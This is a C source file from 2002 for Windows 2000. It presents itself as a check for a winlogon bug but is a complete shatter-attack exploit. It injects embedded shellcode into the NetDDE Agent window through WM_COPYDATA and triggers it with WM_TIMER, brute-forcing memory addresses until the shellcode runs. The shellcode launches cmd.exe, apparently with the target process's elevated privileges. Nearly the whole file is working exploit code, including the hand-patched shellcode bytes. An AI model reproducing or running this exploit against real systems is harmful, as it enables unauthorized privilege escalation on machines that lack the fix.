/////////// Copyright ?2002 Serus //////////////// 
//mailto:serus@users.mns.ru 
// 
//This program check system on winlogon bug present 
//Only for Windows 2000 
//This is for check use only! 
// 

#include <windows.h> 
#include <stdio.h> 


void main(int argc, char *argv[ ], char *envp[ ] ) 
{ 
char *buf; 
DWORD Addr = 0; 
BOOL bExec = TRUE; 

unsigned char sc[] = { // my simple shellcode, it calls CreateProcess function, 
// executes cmd.exe on user`s desktop and creates mutex. 
0x8B, 0xF4, 
0x68, 0x53, 0x45, 0x52, 0x00, 
0x8B, 0xDC, 0x54, 0x6A, 0x00, 0x6A, 0x00, 
0xB8, 0xC8, 0xD7, 0xE8, 0x77, 0xFF, 0xD0, 0x8B, 0xE6, 
0x6A, 0x00, 0x68, 0x2E, 0x65, 0x78, 0x65, 0x68, 0x00, 
0x63, 0x6D, 0x64, 0x68, 0x61, 0x75, 0x6C, 0x74, 0x68, 0x5C, 0x44, 
0x65, 0x66, 0x68, 0x53, 0x74, 0x61, 0x30, 0x68, 0x00, 0x57, 0x69, 
0x6E, 0x8B, 0xD4, 0x42, 0xB9, 0x50, 0x00, 0x00, 0x00, 0x6A, 0x00, 
0xE2, 0xFC, 0x6A, 0x44, 0x83, 0xC4, 0x0C, 0x52, 0x83, 0xEC, 0x0C, 
0x8B, 0xC4, 0x83, 0xC0, 0x10, 0x50, 0x8B, 0xC4, 0x83, 0xC0, 0x08, 
0x50, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 
0x6A, 0x00, 0x83, 0xC2, 0x10, 0x52, 0x6A, 0x00, 0xB8, 0x4D, 0xA4, 
0xE9, 0x77, 0xFF, 0xD0, 0x8B, 0xE6, 0xC3 
}; 

HWND hWnd; 
COPYDATASTRUCT cds; 
HMODULE hMod; 
DWORD ProcAddr; 
HANDLE hMutex; 
char mutname[4]; 

printf("\n\n==== GetAd by Serus (serus@users.mns.ru) ===="); 

// Get NetDDE Window 
hWnd = FindWindow("NDDEAgnt","NetDDE Agent"); 
if(hWnd == NULL) 
{ 
MessageBox(NULL, "Couldn't find NetDDE agent window", "Error", MB_OK | MB_ICONSTOP); 
return; 
} 

// Get CreateProcessA and CreateMutexA entry addresses 
hMod = GetModuleHandle("kernel32.dll"); 
ProcAddr = (DWORD)GetProcAddress(hMod, "CreateProcessA"); 

if(ProcAddr == 0) 
{ 
MessageBox(NULL, "Couldn't get CreateProcessA address", "Error", MB_OK | MB_ICONSTOP); 
return; 
} 
*(DWORD *)(sc + 86 + 21) = ProcAddr; 

ProcAddr = (DWORD)GetProcAddress(hMod, "CreateMutexA"); 
if(ProcAddr == 0) 
{ 
MessageBox(NULL, "Couldn't get CreateProcessA address", "Error", MB_OK | MB_ICONSTOP); 
return; 
} 
*(DWORD *)(sc + 15) = ProcAddr; 

//Generate random Mutex name 
srand(GetTickCount()); 

do 
{ 
mutname[0] = 97 + rand()%25; 
mutname[1] = 65 + rand()%25; 
mutname[2] = 65 + rand()%25; 
mutname[3] = 0; 
} 
while((hMutex = OpenMutex(MUTEX_ALL_ACCESS, 0, mutname)) != 0); 
memcpy(sc + 3, mutname, 4); 

//Form buffer for SendMessage 
buf = (char *)malloc(1000); 
memset(buf, 0xC3, 1000); 
memcpy(buf, sc, sizeof(sc)); 

cds.cbData = 1000; 
cds.dwData = 0; 
cds.lpData=(PVOID)buf; 

//If first login 
//Send shellcode buffer 
SendMessage(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds); 
//Try execute it at 0x0080FA78 
PostMessage(hWnd, WM_TIMER, 1, (LPARAM)0x0080FA78); 
printf("\n\nTrying at 0x%X", 0x0080FA78); 

//If fails (perhaps not first login) 
//Try to bruteforce shellcode addresss 
for(Addr = 0x0120fa78; Addr < 0x10000000; Addr += 0x10000) 
{ 
//If mutex exists, shellcode has been executed 
if((hMutex = OpenMutex(MUTEX_ALL_ACCESS, 0, mutname)) != 0) 
{ 
//Success 
printf("\nSuccess!!!\n"); 
printf("\nWarning! You system has vulnerability!\n"); 
CloseHandle(hMutex); 
return; 
} 
printf("\rTrying at 0x%X", Addr); 

SendMessage(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds); 
PostMessage(hWnd, WM_TIMER, 1, (LPARAM)Addr); 
} 

//Bug in winlogon not presents 
printf("\n\nBad luck! Reboot and try again.\n\n"); 

}